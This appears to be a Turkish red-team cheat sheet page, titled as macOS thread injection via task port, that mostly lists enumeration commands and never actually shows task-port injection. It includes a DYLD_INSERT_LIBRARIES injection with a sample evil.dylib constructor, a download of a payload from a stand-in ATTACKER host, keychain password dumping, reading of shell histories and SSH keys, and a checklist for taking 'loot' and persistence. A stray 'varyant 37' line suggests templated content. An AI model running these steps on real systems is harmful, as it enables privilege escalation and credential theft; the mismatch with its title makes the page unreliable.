Skip to content

macOS Thread Injection via Task port

macos privesc

macOS Thread Injection via Task port macOS güvenlik modeli (SIP, TCC, Gatekeeper, entitlements, XPC) içinde suistimal notudur. İmza ve privacy sınırlarını ölçüp injection veya hassas veri erişimini kanıtla.

  1. SIP/TCC/Gatekeeper/codesign durumunu ölç.

  2. macOS Thread Injection via Task port için launch item, entitlement ve library/XPC yüzeyini tara.

  3. Injection veya privacy bypass hipotezini doğrula.

  4. Keychain/TCC/hassas dosya kanıtını al.

macOS Thread Injection via Task port macOS red-team / privesc notudur. SIP, TCC, Gatekeeper ve entitlements haritası olmadan injection denemek kör ateştir.

Terminal window
id; whoami; hostname
Terminal window
sw_vers; uname -a
Terminal window
csrutil status
Terminal window
spctl --status
Terminal window
system_profiler SPSoftwareDataType | head -n 40
Terminal window
ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons 2>/dev/null
Terminal window
ps aux | head -n 50
Terminal window
lsof -iTCP -sTCP:LISTEN -nP 2>/dev/null | head

DYLD hijack, XPC client check zayıflığı ve script runtime injection sık privesc/persist yoludur.

Terminal window
codesign -d --entitlements :- /Applications/App.app 2>&1 | rg -i 'disable-library|get-task|library'
Terminal window
otool -L /Applications/App.app/Contents/MacOS/* 2>/dev/null | head
Terminal window
otool -l /Applications/App.app/Contents/MacOS/* 2>/dev/null | rg -A2 'LC_RPATH|LC_LOAD_DYLIB' | head -n 40
Terminal window
DYLD_INSERT_LIBRARIES=/tmp/evil.dylib /Applications/App.app/Contents/MacOS/App
Terminal window
DYLD_PRINT_LIBRARIES=1 /Applications/App.app/Contents/MacOS/App 2>&1 | head
Terminal window
launchctl print system/com.example.service 2>/dev/null | head
Terminal window
ls /System/Library/LaunchDaemons /Library/LaunchDaemons 2>/dev/null | head
Terminal window
nm /Applications/App.app/Contents/MacOS/* 2>/dev/null | rg -i 'xpc|mach' | head
#include <stdio.h>
__attribute__((constructor)) void init(){
system("id > /tmp/pwned");
}
Terminal window
clang -dynamiclib -o /tmp/evil.dylib evil.c

Mach-O, IOKit userclient ve hassas konumlar kernel/userland kesişimini açar.

Terminal window
file /Applications/App.app/Contents/MacOS/*
Terminal window
lipo -info /Applications/App.app/Contents/MacOS/* 2>/dev/null
Terminal window
nm -m /Applications/App.app/Contents/MacOS/* 2>/dev/null | head
Terminal window
vmmap $(pgrep -n App) 2>/dev/null | head
Terminal window
lldb -p $(pgrep -n App)
Terminal window
nvram -p
Terminal window
kextstat 2>/dev/null | head
Terminal window
systemextensionsctl list 2>/dev/null
Terminal window
ioreg -l | rg -i 'IOUserClient|IOKit' | head
Terminal window
ls -la /var/db /private/var/db /Library/Preferences 2>/dev/null | head
Terminal window
find /Users /Library -name '*.plist' 2>/dev/null | head -n 40
Terminal window
find / -perm -4000 2>/dev/null | head
Terminal window
ls -la /usr/local/bin /opt 2>/dev/null
Terminal window
crontab -l; ls /etc/cron* 2>/dev/null
Terminal window
dscl . -read /Groups/admin GroupMembership
Terminal window
sudo -l 2>/dev/null
Terminal window
ls -la ~/Library/Keychains ~/.ssh 2>/dev/null
Terminal window
cat ~/.bash_history ~/.zsh_history 2>/dev/null | tail -n 50
Terminal window
defaults read 2>/dev/null | head
Terminal window
find ~/Library -name '*.sqlite' -o -name '*cookie*' 2>/dev/null | head
Terminal window
security find-internet-password -g 2>/dev/null | head
Terminal window
# macOS Thread Injection via Task port — varyant 37
Terminal window
ls -la@ ~/Library ~/Documents 2>/dev/null | head
Terminal window
mdfind 'kMDItemKind == Application' | head
Terminal window
defaults read com.apple.dock 2>/dev/null | head
Terminal window
log show --predicate 'eventMessage contains "tcc"' --last 1h 2>/dev/null | head
Terminal window
fs_usage -w -f filesys 2>/dev/null | head
Terminal window
sample App 3 2>/dev/null | head
Terminal window
python3 -m http.server 8000
Terminal window
curl -O http://ATTACKER/evil.dylib
Terminal window
chmod +x ./payload && ./payload
[ ] SIP/TCC/Gatekeeper durumu ölçüldü
[ ] Launch item / entitlements / codesign tarandı
[ ] Injection veya XPC hipotezi doğrulandı
[ ] Keychain/TCC/hassas veri loot alındı
[ ] Kalıcılık veya yüksek yetki kanıtlandı

macOS Thread Injection via Task port sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.